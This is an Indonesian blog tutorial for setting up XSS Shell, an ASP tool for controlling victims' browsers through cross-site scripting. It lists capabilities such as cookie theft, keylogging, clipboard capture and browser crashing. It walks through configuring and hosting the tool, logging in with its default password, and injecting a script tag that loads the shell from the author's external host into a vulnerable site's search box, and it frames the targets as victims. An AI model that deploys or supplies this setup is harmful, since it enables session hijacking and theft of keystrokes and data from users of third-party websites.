XSS Shell

XSS Shell adalah sebuah script ASP yang sangat mudah untuk melakukan pentester XSS. Dengan XSS shell ini anda bisa mendapatkan cookie, tanpa harus membuat script dengan PHP maupun Javascript. Saya sering menggunakan XSS shell untuk mempermudahkan saya dalam mencoba suatu situs. Dengan XSS shell kita bisa melakukan keylogger, view source halaman website korban, DDoS, dan lainya. Untuk mengenai fitur XSS shell anda bisa membaca Feature di bawah ini.

Feature :

Get Cookie
Get Current Page
Execute custom Javascript
Get Mouse Log
Get Keylogger Data
Get Clipboard
Get Internal IP Address (Firefox - JVM)
Check visited links (CSS history hack)
Crash Browser (if you don’t like your victim!)

How to configure XSS Shell

Pertama yang anda lakukan adalah mendownload Shell tersebut disini. Jika file sudah anda download dan di extract, silakan anda cari hosting gratis yang support dengan ASP atau hosting Jabry.net .

Silakan anda buka file "xssshell.asp" dan anda cari script berikut :

// You XSSShell Server
var SERVER = "http://www.xssshelltest.com:60000/";

Silakan anda ganti url tersebut dengan url hosting ASP anda. Contoh saya menggunakan Hosting Jabry dengan url : http://users9.jabry.com/nasrul07, maka url tersebut anda menjadi "http://users9.jabry.com/nasrul07/"

Selanjutnya buka folder Admin dan open file db, dan kita edit source. anda cari dengan code dibawah ini .

'// DATABASE CONFIGURATION
Const DBPATH = "C:\XSS Shell\XSSShell-060\db\shell.mdb"

Untuk mengetahui lokasi database upload file hasil.asp tersbut pada hosting anda. Contoh file lokasi database saya : http://users9.jabry.com/nasrul07/out.asp

pada gambar diatas menunjukan file lokasi database saya adalah : D:\content\users9\nasrul07, maka saya ganti menjadi "D:\content\users9\nasrul07/db/shell.mdb", silakan anda sesuaikan dengan lokasi file anda.

Jika semua langkah diatas selesai, silakan anda upload semua file tersebut di hosting tadi. untuk menampilkan halaman admin XSS shell silakan pergi ke http://users9.jabry.com/nasrul07/admin silakan anda sesuaikan dengan url anda. Dan masukan password w00t. Dan dibawah ini adalah halaman interface dari XSS shell admin.

untuk situs yang rentan XSS kita panggil file xssshell.asp tersebut dengan perintah :

<script src="http://users9.jabry.com/nasrul07/xssshell.asp"></script>

anda bisa memasukan script tersebut pada box pencarian dan lainya.

setelah itu akan ada sebuah IP address dan nomor id Victim.

dan anda kini bisa menjalankan perintah seperti alert,prompt,cookie,keylogger dan lainya.

Contoh :

Saya menggunakan perintah Alert dengan paramater www.nasrul-seven.blogspot.com